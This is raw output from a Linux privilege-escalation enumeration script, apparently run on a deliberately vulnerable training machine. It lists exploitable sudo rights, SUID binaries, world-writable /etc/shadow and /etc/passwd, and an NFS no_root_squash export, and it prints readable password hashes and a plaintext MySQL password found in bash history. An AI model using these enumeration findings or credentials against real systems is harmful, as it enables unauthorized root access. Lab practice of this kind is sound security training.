www-data 1654 0.0 0.2 294852 2644 ? Sl 04:34 0:00 /usr/sbin/apache2 -k start
www-data 1840 0.0 0.1 62232 1828 ? S 04:34 0:00 nginx: worker process
www-data 1841 0.0 0.1 62232 1844 ? S 04:34 0:00 nginx: worker process
www-data 1842 0.0 0.1 62232 1844 ? S 04:34 0:00 nginx: worker process
www-data 1843 0.0 0.1 62232 1824 ? S 04:34 0:00 nginx: worker process
[+] Binary processes permissions
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
912K -rwxr-xr-x 1 root root 905K Apr 10 2010 /bin/bash
0 lrwxrwxrwx 1 root root 4 May 14 2017 /bin/sh -> bash
20K -rwxr-xr-x 2 root root 20K Jan 25 2011 /sbin/getty
24K -rwxr-xr-x 1 root root 21K Feb 24 2010 /sbin/portmap
72K -rwxr-xr-x 1 root root 65K Dec 13 2014 /sbin/rpc.statd
8.0K -rwsr-sr-x 1 root staff 6.8K May 14 2017 /usr/local/bin/suid-env
44K -rwxr-xr-x 1 root root 41K May 1 2012 /usr/sbin/acpid
0 lrwxrwxrwx 1 root root 33 May 13 2017 /usr/sbin/apache2 -> ../lib/apache2/mpm-worker/apache2
44K -rwxr-xr-x 1 root root 41K Dec 18 2010 /usr/sbin/cron
0 lrwxrwxrwx 1 root root 4 May 13 2017 /usr/sbin/exim4 -> exim
9.7M -rwxr-xr-x 1 root root 9.7M Oct 21 2014 /usr/sbin/mysqld
32K -rwxr-xr-x 1 root root 32K Dec 13 2014 /usr/sbin/rpc.idmapd
92K -rwxr-xr-x 1 root root 88K Dec 13 2014 /usr/sbin/rpc.mountd
328K -rwxr-xr-x 1 root root 321K Nov 30 2010 /usr/sbin/rsyslogd
472K -rwxr-xr-x 1 root root 465K Apr 2 2014 /usr/sbin/sshd
[+] Cron jobs
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-jobs
-rw-r–r– 1 root root 804 May 13 2017 /etc/crontab
/etc/cron.d:
total 16
drwxr-xr-x 2 root root 4096 May 15 2020 .
drwxr-xr-x 67 root root 4096 Aug 5 05:50 ..
-rw-r–r– 1 root root 607 Oct 17 2009 john
-rw-r–r– 1 root root 102 Dec 18 2010 .placeholder
/etc/cron.daily:
total 72
drwxr-xr-x 2 root root 4096 May 13 2017 .
drwxr-xr-x 67 root root 4096 Aug 5 05:50 ..
-rwxr-xr-x 1 root root 633 Jul 28 2015 apache2
-rwxr-xr-x 1 root root 14799 Apr 15 2011 apt
-rwxr-xr-x 1 root root 314 Aug 10 2011 aptitude
-rwxr-xr-x 1 root root 502 Jun 17 2010 bsdmainutils
-rwxr-xr-x 1 root root 256 Jun 5 2014 dpkg
-rwxr-xr-x 1 root root 4109 Oct 25 2012 exim4-base
-rwxr-xr-x 1 root root 2211 Oct 26 2010 locate
-rwxr-xr-x 1 root root 89 Apr 17 2010 logrotate
-rwxr-xr-x 1 root root 1335 Jan 2 2011 man-db
-rwxr-xr-x 1 root root 249 Feb 15 2011 passwd
-rw-r–r– 1 root root 102 Dec 18 2010 .placeholder
-rwxr-xr-x 1 root root 3594 Dec 18 2010 standard
/etc/cron.hourly:
total 12
drwxr-xr-x 2 root root 4096 May 12 2017 .
drwxr-xr-x 67 root root 4096 Aug 5 05:50 ..
-rw-r–r– 1 root root 102 Dec 18 2010 .placeholder
/etc/cron.monthly:
total 12
drwxr-xr-x 2 root root 4096 May 12 2017 .
drwxr-xr-x 67 root root 4096 Aug 5 05:50 ..
-rw-r–r– 1 root root 102 Dec 18 2010 .placeholder
/etc/cron.weekly:
total 16
drwxr-xr-x 2 root root 4096 May 12 2017 .
drwxr-xr-x 67 root root 4096 Aug 5 05:50 ..
-rwxr-xr-x 1 root root 895 Jan 2 2011 man-db
-rw-r–r– 1 root root 102 Dec 18 2010 .placeholder
SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
- * * * * root overwrite.sh
- * * * * root /usr/local/bin/compress.sh
[+] Services
[i] Search for outdated versions
[ + ] acpid
[ + ] apache2
[ – ] bootlogd
[ – ] bootlogs
[ – ] checkroot.sh
[ – ] exim4
[ – ] hostname.sh
[ + ] nfs-common
[ + ] nfs-kernel-server
[ + ] nginx
[ + ] portmap
[ – ] rmnologin
[ + ] rsyslog
[ + ] ssh
[ – ] stop-bootlogd
[ – ] stop-bootlogd-single
[ – ] urandom
[+] Systemd PATH
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#systemd-path
[+] Analyzing .service files
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#services
You can’t write on systemd PATH so I’m not going to list relative paths executed by services
[+] System timers
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers
[+] Analyzing .timer files
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers
[+] Analyzing .socket files
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sockets
[+] HTTP sockets
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sockets
[+] D-Bus config files
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#d-bus
===================================( Network Information )====================================
[+] Hostname, hosts and DNS
debian
127.0.0.1 localhost
127.0.1.1 debian.localdomain debian
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
domain eu-west-1.compute.internal
search eu-west-1.compute.internal
nameserver 10.0.0.2
localdomain
[+] Content of /etc/inetd.conf & /etc/xinetd.conf
/etc/inetd.conf Not Found
[+] Networks and neighbours
default 0.0.0.0
loopback 127.0.0.0
link-local 169.254.0.0
eth0 Link encap:Ethernet HWaddr 02:40:fd:f8:69:c9
inet addr:10.10.211.45 Bcast:10.10.255.255 Mask:255.255.0.0
inet6 addr: fe80::40:fdff:fef8:69c9/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:9001 Metric:1
RX packets:2632 errors:0 dropped:0 overruns:0 frame:0
TX packets:1579 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:195747 (191.1 KiB) TX bytes:1833359 (1.7 MiB)
Interrupt:20
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:104 errors:0 dropped:0 overruns:0 frame:0
TX packets:104 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:8756 (8.5 KiB) TX bytes:8756 (8.5 KiB)
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
10.10.0.0 * 255.255.0.0 U 0 0 0 eth0
default ip-10-10-0-1.eu 0.0.0.0 UG 0 0 0 eth0
[+] Iptables rules
iptables rules Not Found
[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#internal-open-ports
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:59128 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:51738 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:38043 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:2049 0.0.0.0:* LISTEN –
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN –
tcp 0 3528 10.10.211.45:22 10.9.1.22:58048 ESTABLISHED –
tcp6 0 0 :::80 :::* LISTEN –
tcp6 0 0 :::22 :::* LISTEN –
udp 0 0 127.0.0.1:962 0.0.0.0:* –
udp 0 0 0.0.0.0:68 0.0.0.0:* –
udp 0 0 0.0.0.0:111 0.0.0.0:* –
udp 0 0 0.0.0.0:35185 0.0.0.0:* –
udp 0 0 0.0.0.0:2049 0.0.0.0:* –
udp 0 0 0.0.0.0:52099 0.0.0.0:* –
udp 0 0 0.0.0.0:52239 0.0.0.0:* –
[+] Can I sniff with tcpdump?
No
====================================( Users Information )=====================================
[+] My user
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#groups
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
[+] Do I have PGP keys?
[+] Clipboard or highlighted text?
xsel and xclip Not Found
[+] Testing ‘sudo -l’ without password & /etc/sudoers
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#commands-with-sudo-and-suid-commands
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/man
(root) NOPASSWD: /usr/bin/awk
(root) NOPASSWD: /usr/bin/less
(root) NOPASSWD: /usr/bin/ftp
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/sbin/apache2
(root) NOPASSWD: /bin/more
[+] Checking /etc/doas.conf
/etc/doas.conf Not Found
[+] Checking Pkexec policy
[+] Do not forget to test ‘su’ as any other user with shell: without password and with their names as password (I can’t do it…)
[+] Do not forget to execute ‘sudo -l’ without password or with valid password (if you know it)!!
[+] Superusers
root:x:0:0:root:/root:/bin/bash
[+] Users with console
backup:x:34:34:backup:/var/backups:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
games:x:5:60:games:/usr/games:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
root:x:0:0:root:/root:/bin/bash
sys:x:3:3:sys:/dev:/bin/sh
user:x:1000:1000:user,,,:/home/user:/bin/bash
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
[+] All users & groups
uid=0(root) gid=0(root) groups=0(root)
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
uid=100(libuuid) gid=101(libuuid) groups=101(libuuid)
uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)
uid=102(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=103(statd) gid=65534(nogroup) groups=65534(nogroup)
uid=104(mysql) gid=106(mysql) groups=106(mysql)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
[+] Login now
05:55:28 up 1:22, 1 user, load average: 0.00, 0.12, 0.08
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user pts/0 ip-10-9-1-22.eu- 04:35 2.00s 0.11s 0.00s w
[+] Last logons
user pts/0 ip-10-9-1-22.eu- Mon Aug 5 04:35 still logged in
reboot system boot 2.6.32-5-amd64 Mon Aug 5 04:34 – 05:55 (01:20)
reboot system boot 2.6.32-5-amd64 Fri May 15 11:32 – 11:35 (00:03)
user pts/0 192.168.1.125 Fri May 15 06:41 – 06:41 (00:00)
user pts/0 192.168.1.125 Fri May 15 06:39 – 06:41 (00:01)
user pts/0 192.168.1.125 Fri May 15 06:39 – 06:39 (00:00)
wtmp begins Fri May 15 06:39:11 2020
[+] Last time logon each user
Username Port From Latest
root pts/0 192.168.1.2 Sun Aug 25 14:02:49 -0400 2019
user pts/0 ip-10-9-1-22.eu- Mon Aug 5 04:35:08 -0400 2024
[+] Password policy
PASS_MAX_DAYS 99999
PASS_MIN_DAYS 0
PASS_WARN_AGE 7
===================================( Software Information )===================================
[+] MySQL version
mysql Ver 14.14 Distrib 5.1.73, for debian-linux-gnu (x86_64) using readline 6.1
[+] MySQL connection using default root/root ……….. No
[+] MySQL connection using root/toor ………………. No
[+] MySQL connection using root/NOPASS …………….. Yes
[+] Looking for mysql credentials and exec
From ‘/etc/mysql/my.cnf’ Mysql user: user = root
Found readable /etc/mysql/my.cnf
[client]
port = 3306
socket = /var/run/mysqld/mysqld.sock
[mysqld_safe]
socket = /var/run/mysqld/mysqld.sock
nice = 0
[mysqld]
user = root
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
port = 3306
basedir = /usr
datadir = /var/lib/mysql
tmpdir = /tmp
language = /usr/share/mysql/english
skip-external-locking
bind-address = 127.0.0.1
key_buffer = 16M
max_allowed_packet = 16M
thread_stack = 192K
thread_cache_size = 8
myisam-recover = BACKUP
query_cache_limit = 1M
query_cache_size = 16M
expire_logs_days = 10
max_binlog_size = 100M
[mysqldump]
quick
quote-names
max_allowed_packet = 16M
[mysql]
[isamchk]
key_buffer = 16M
!includedir /etc/mysql/conf.d/
From ‘/usr/share/mysql/debian-start.inc.sh’ Mysql user: ret=$( echo “SELECT count(*) FROM mysql.user WHERE user=’root’ and password=”;” | $MYSQL –skip-column-names )
[+] PostgreSQL version and pgadmin credentials
Not Found
[+] PostgreSQL connection to template0 using postgres/NOPASS …….. No
[+] PostgreSQL connection to template1 using postgres/NOPASS …….. No
[+] PostgreSQL connection to template0 using pgsql/NOPASS ……….. No
[+] PostgreSQL connection to template1 using pgsql/NOPASS ……….. No
[+] Apache server info
Version: Server version: Apache/2.2.16 (Debian)
Server built: Jul 28 2015 09:24:24
[+] Looking for PHPCookies
Not Found
[+] Looking for WordPress wp-config.php files
wp-config.php Not Found
[+] Looking for Drupal settings.php files
/default/settings.php Not Found
[+] Looking for Tomcat users file
tomcat-users.xml Not Found
[+] Mongo information
Not Found
[+] Looking for supervisord configuration file
supervisord.conf Not Found
[+] Looking for cesi configuration file
cesi.conf Not Found
[+] Looking for Rsyncd config file
rsyncd.conf Not Found
[+] Looking for Hostapd config file
hostapd.conf Not Found
[+] Looking for wifi conns file
Not Found
[+] Looking for Anaconda-ks config files
anaconda-ks.cfg Not Found
[+] Looking for .vnc directories and their passwd files
.vnc Not Found
[+] Looking for ldap directories and their hashes
/etc/ldap
The password hash is from the {SSHA} to ‘structural’
[+] Looking for .ovpn files and credentials
/home/user/myvpn.ovpn
auth-user-pass /etc/openvpn/auth.txt
[+] Looking for ssl/ssh files
Port 22
PermitRootLogin yes
PubkeyAuthentication yes
PermitEmptyPasswords no
ChallengeResponseAuthentication no
UsePAM yes
–> /etc/hosts.allow file found, read the rules:
Looking inside /etc/ssh/ssh_config for interesting info
Host *
SendEnv LANG LC_*
HashKnownHosts yes
GSSAPIAuthentication yes
GSSAPIDelegateCredentials no
[+] Looking for unexpected auth lines in /etc/pam.d/sshd
auth required pam_env.so # [1]
auth required pam_env.so envfile=/etc/default/locale
[+] Looking for Cloud credentials (AWS, Azure, GC)
[+] NFS exports?
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
[+] Looking for kerberos conf files and tickets
[i] https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88#pass-the-ticket-ptt
krb5.conf Not Found
tickets kerberos Not Found
klist Not Found
[+] Looking for Kibana yaml
kibana.yml Not Found
[+] Looking for Knock configuration
Knock.config Not Found
[+] Looking for logstash files
Not Found
[+] Looking for elasticsearch files
Not Found
[+] Looking for Vault-ssh files
vault-ssh-helper.hcl Not Found
[+] Looking for AD cached hashes
cached hashes Not Found
[+] Looking for screen sessions
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions
screen Not Found
[+] Looking for tmux sessions
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions
tmux Not Found
[+] Looking for Couchdb directory
[+] Looking for redis.conf
[+] Looking for dovecot files
dovecot credentials Not Found
[+] Looking for mosquitto.conf
[+] Looking for neo4j auth file
[+] Looking Cloud-Init conf file
[+] Looking Erlang cookie file
====================================( Interesting Files )=====================================
[+] SUID – Check easy privesc, exploits and write perms
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#commands-with-sudo-and-suid-commands
/usr/bin/chsh
/usr/bin/sudo —> /sudo$
/usr/bin/newgrp —> HP-UX_10.20
/usr/bin/sudoedit —> Sudo/SudoEdit_1.6.9p21/1.7.2p4/(RHEL_5/6/7/Ubuntu)/Sudo<=1.8.14 /usr/bin/passwd —> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
/usr/bin/gpasswd
/usr/bin/chfn —> SuSE_9.3/10
/usr/local/bin/suid-so
/usr/local/bin/suid-env
/usr/local/bin/suid-env2
/usr/sbin/exim-4.84-3
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown —> GNU_glibc_2.1/2.1.1_-6(08-1999)
/bin/ping6
/bin/ping
/bin/mount —> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
/bin/su
/bin/umount —> BSD/Linux(08-1996)
/tmp/rootbash
/sbin/mount.nfs
[+] SGID
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#commands-with-sudo-and-suid-commands
/usr/bin/expiry
/usr/bin/ssh-agent
/usr/bin/bsd-write
/usr/bin/crontab
/usr/bin/chage
/usr/bin/wall
/usr/local/bin/suid-so
/usr/local/bin/suid-env
/usr/local/bin/suid-env2
/tmp/rootbash
/sbin/unix_chkpwd
[+] Writable folders configured in /etc/ld.so.conf.d/
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#etc-ld-so-conf-d
/usr/local/lib
/lib/x86_64-linux-gnu
/usr/lib/x86_64-linux-gnu
[+] Capabilities
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities
[+] Users with capabilities
/etc/security/capability.conf Not Found
[+] Files with ACLs
files with acls in searched folders Not Found
[+] .sh files in path
/usr/local/bin/overwrite.sh
/usr/local/bin/compress.sh
/usr/bin/gettext.sh
[+] Unexpected folders in root
/.ssh
/selinux
[+] Files (scripts) in /etc/profile.d/
total 8
drwxr-xr-x 2 root root 4096 Jun 11 2014 .
drwxr-xr-x 67 root root 4096 Aug 5 05:50 ..
[+] Hashes inside passwd file? ……….. No
[+] Hashes inside group file? ………… No
[+] Credentials in fstab/mtab? ……….. No
[+] Can I read shadow files? …………. root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
daemon::17298:0:99999:7::: bin::17298:0:99999:7:::
sys::17298:0:99999:7::: sync::17298:0:99999:7:::
games::17298:0:99999:7::: man::17298:0:99999:7:::
lp::17298:0:99999:7::: mail::17298:0:99999:7:::
news::17298:0:99999:7::: uucp::17298:0:99999:7:::
proxy::17298:0:99999:7::: www-data::17298:0:99999:7:::
backup::17298:0:99999:7::: list::17298:0:99999:7:::
irc::17298:0:99999:7::: gnats::17298:0:99999:7:::
nobody::17298:0:99999:7::: libuuid:!:17298:0:99999:7::: Debian-exim:!:17298:0:99999:7::: sshd::17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aDOZRFrYirKDW5IJy32FBGjwYpT2O1zrR2xTROv7wRIkF8.:17298:0:99999:7:::
statd:*:17299:0:99999:7:::
mysql:!:18133:0:99999:7:::
[+] Can I read root folder? ………….. No
[+] Looking for root files in home dirs (limit 20)
/home
[+] Looking for others files in folders owned by me
[+] Readable files belonging to root and readable by me but not world readable
[+] Modified interesting files in the last 5mins
/var/log/daemon.log
/var/log/auth.log
/var/log/syslog
/etc/resolv.conf
/tmp/backup.tar.gz
/tmp/useless
/home/user/.gnupg/pubring.gpg
/home/user/.gnupg/gpg.conf
/home/user/.gnupg/trustdb.gpg
[+] Writable log files (logrotten)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation
[+] Files inside /home/user (limit 20)
total 84
drwxr-xr-x 7 user user 4096 Aug 5 05:55 .
drwxr-xr-x 3 root root 4096 May 15 2017 ..
-rw——- 1 user user 186 Aug 5 04:46 .bash_history
-rw-r–r– 1 user user 220 May 12 2017 .bash_logout
-rw-r–r– 1 user user 3235 May 14 2017 .bashrc
-rwxr-xr-x 1 user user 10278 Aug 5 05:49 c0w
drwxr-xr-x 2 user user 4096 Aug 5 04:38 .config
drwx—— 2 user user 4096 Aug 5 05:55 .gnupg
drwxr-xr-x 2 user user 4096 May 13 2017 .irssi
drwx—— 2 user user 4096 May 15 2020 .john
-rw——- 1 user user 137 May 15 2017 .lesshst
-rw-r–r– 1 user user 212 May 15 2017 myvpn.ovpn
-rw——- 1 user user 11 May 15 2020 .nano_history
-rw-r–r– 1 user user 725 May 13 2017 .profile
-rwxr-xr-x 1 user user 6697 Aug 5 04:42 service
drwxr-xr-x 8 user user 4096 May 15 2020 tools
-rw——- 1 user user 6334 May 15 2020 .viminfo
[+] Files inside others home (limit 20)
[+] Looking for installed mail applications
exim.conf
exim
exim-4.84-3
sendmail
[+] Mails (limit 50)
[+] Backup files?
-rw-r–r– 1 root root 154727 May 12 2017 /var/lib/aptitude/pkgstates.old
-rw-r–r– 1 root root 673 May 14 2017 /etc/xml/xml-core.xml.old
-rw-r–r– 1 root root 610 May 14 2017 /etc/xml/catalog.old
-rw-r–r– 1 root root 335 Jul 18 2010 /etc/sgml/catalog.old
-rw-r–r– 1 root root 99542 Aug 5 05:55 /tmp/backup.tar.gz
[+] Looking for tables inside readable .db/.sqlite files (limit 100)
[+] Web files?(output limit)
/var/www/:
total 16K
drwxr-xr-x 3 root root 4.0K May 14 2017 .
drwxr-xr-x 14 root root 4.0K May 13 2017 ..
drwxr-xr-x 2 root root 4.0K May 14 2017 html
-rw-r–r– 1 root root 177 May 13 2017 index.html
/var/www/html:
total 12K
drwxr-xr-x 2 root root 4.0K May 14 2017 .
[+] Readable *_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .gitconfig, .git-credentials, .git, .svn, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#read-sensitive-data
-rw-r–r– 1 root root 0 May 13 2017 /etc/apache2/httpd.conf
Reading /etc/apache2/httpd.conf
-rw-r–r– 1 root root 1657 Apr 10 2010 /etc/bash.bashrc
-rw-r–r– 1 root root 3184 Apr 10 2010 /etc/skel/.bashrc
-rw-r–r– 1 root root 675 Apr 10 2010 /etc/skel/.profile
lrwxrwxrwx 1 root root 33 May 14 2017 /etc/systemd/system/multi-user.target.wants/nginx.service -> /lib/systemd/system/nginx.service
-rw——- 1 user user 186 Aug 5 04:46 /home/user/.bash_history
Looking for possible passwords inside /home/user/.bash_history
mysql -h somehost.local -uroot -ppassword123
-rw-r–r– 1 user user 3235 May 14 2017 /home/user/.bashrc
-rw——- 1 user user 11 May 15 2020 /home/user/.nano_history
Looking for possible passwords inside /home/user/.nano_history
-rw-r–r– 1 user user 725 May 13 2017 /home/user/.profile
-rwxr-xr-x 1 root root 2493 Jul 18 2010 /usr/bin/lft.db
-rw-r–r– 1 root root 570 Jan 31 2010 /usr/share/base-files/dot.bashrc
-rw-r–r– 1 root root 870 Nov 21 2010 /usr/share/doc/adduser/examples/adduser.local.conf.examples/bash.bashrc
-rw-r–r– 1 root root 1865 Nov 21 2010 /usr/share/doc/adduser/examples/adduser.local.conf.examples/skel/dot.bashrc
[+] All hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)
-rw——- 1 root root 0 Aug 5 04:34 /var/lib/nfs/.xtab.lock
-rw——- 1 root root 0 May 15 2020 /var/lib/nfs/.etab.lock
-rw-r–r– 1 root root 220 Apr 10 2010 /etc/skel/.bash_logout
-rw——- 1 root root 0 May 12 2017 /etc/.pwd.lock
-rw-r–r– 1 root root 0 Aug 5 04:33 /lib/init/rw/.ramfs
-rw——- 1 user user 137 May 15 2017 /home/user/.lesshst
-rw——- 1 user user 6334 May 15 2020 /home/user/.viminfo
-rw-r–r– 1 user user 220 May 12 2017 /home/user/.bash_logout
-rw-r–r– 1 root root 0 Aug 5 04:33 /dev/.initramfs-tools
-rw——- 1 root root 0 Aug 5 04:34 /proc/fs/nfsd/.getfs
-rw——- 1 root root 0 Aug 5 04:34 /proc/fs/nfsd/.getfd
–w——- 1 root root 0 Aug 5 04:34 /proc/fs/nfsd/.unexport
–w——- 1 root root 0 Aug 5 04:34 /proc/fs/nfsd/.export
–w——- 1 root root 0 Aug 5 04:34 /proc/fs/nfsd/.del
–w——- 1 root root 0 Aug 5 04:34 /proc/fs/nfsd/.add
–w——- 1 root root 0 Aug 5 04:34 /proc/fs/nfsd/.svc
[+] Readable files inside /tmp, /var/tmp, /var/backups(limit 70)
-rw-r–r– 1 root root 99542 Aug 5 05:55 /tmp/backup.tar.gz
-rw-r–r– 1 root root 28 Aug 5 05:55 /tmp/useless
-rwsr-sr-x 1 root root 926536 Aug 5 04:45 /tmp/rootbash
-rwxr-xr-x 1 user user 43280 Aug 5 05:49 /tmp/bak
-rw-r–r– 1 root root 243 May 12 2017 /var/backups/apt.extended_states.3.gz
-rw-r–r– 1 root root 254113 May 15 2020 /var/backups/dpkg.status.0
-rw-r–r– 1 root root 154661 May 12 2017 /var/backups/aptitude.pkgstates.0
-rw-r–r– 1 root root 627 May 15 2017 /var/backups/apt.extended_states.1.gz
-rw-r–r– 1 root root 48531 May 12 2017 /var/backups/dpkg.status.3.gz
-rw-r–r– 1 root root 74780 May 15 2017 /var/backups/dpkg.status.1.gz
-rw-r–r– 1 root root 5266 May 15 2020 /var/backups/apt.extended_states.0
-rw-r–r– 1 root root 558 May 13 2017 /var/backups/apt.extended_states.2.gz
-rw-r–r– 1 root root 68660 May 13 2017 /var/backups/dpkg.status.2.gz
[+] Interesting writable files owned by me or writable by everyone (not in Home)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
/dev/shm
/etc/exports
/etc/init.d/rc.local
/etc/passwd
/etc/shadow
/home/user
/tmp
/tmp/bak
/usr/local/bin/overwrite.sh
/var/lock
/var/tmp
[+] Interesting GROUP writable files (not in Home)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
Group user:
Group cdrom:
Group floppy:
Group audio:
Group dip:
Group video:
Group plugdev:
[+] Searching passwords in config PHP files
[+] Finding IPs inside logs (limit 70)
77 /var/log/dpkg.log.1:1.7.3.1
37 /var/log/dpkg.log.1:1.5.36.1
29 /var/log/dpkg.log.1:4.1.4.2
19 /var/log/dpkg.log.1:1.2.3.4
9 /var/log/dpkg.log.1:2.2.4.2
8 /var/log/wtmp.1:192.168.1.2
3 /var/log/wtmp:192.168.1.125
3 /var/log/wtmp.1:172.16.51.1
2 /var/log/installer/status:1.2.3.3
1 /var/log/wtmp.1:192.168.1.125
1 /var/log/wtmp.1:172.16.70.1
1 /var/log/lastlog:192.168.1.2
1 /var/log/installer/status:1.2.3.4
[+] Finding passwords inside logs (limit 70)
/var/log/dpkg.log.1:2017-05-12 07:02:29 configure base-passwd 3.5.22 3.5.22
/var/log/dpkg.log.1:2017-05-12 07:02:29 install base-passwd 3.5.22
/var/log/dpkg.log.1:2017-05-12 07:02:29 status half-configured base-passwd 3.5.22
/var/log/dpkg.log.1:2017-05-12 07:02:29 status half-installed base-passwd 3.5.22
/var/log/dpkg.log.1:2017-05-12 07:02:29 status installed base-passwd 3.5.22
/var/log/dpkg.log.1:2017-05-12 07:02:29 status unpacked base-passwd 3.5.22
/var/log/dpkg.log.1:2017-05-12 07:02:32 install passwd 1:4.1.4.2+svn3283-2+squeeze1
/var/log/dpkg.log.1:2017-05-12 07:02:32 status half-configured base-passwd 3.5.22
/var/log/dpkg.log.1:2017-05-12 07:02:32 status half-installed base-passwd 3.5.22
/var/log/dpkg.log.1:2017-05-12 07:02:32 status half-installed passwd 1:4.1.4.2+svn3283-2+squeeze1
/var/log/dpkg.log.1:2017-05-12 07:02:32 status unpacked base-passwd 3.5.22
/var/log/dpkg.log.1:2017-05-12 07:02:32 status unpacked passwd 1:4.1.4.2+svn3283-2+squeeze1
/var/log/dpkg.log.1:2017-05-12 07:02:32 upgrade base-passwd 3.5.22 3.5.22
/var/log/dpkg.log.1:2017-05-12 07:02:34 configure base-passwd 3.5.22 3.5.22
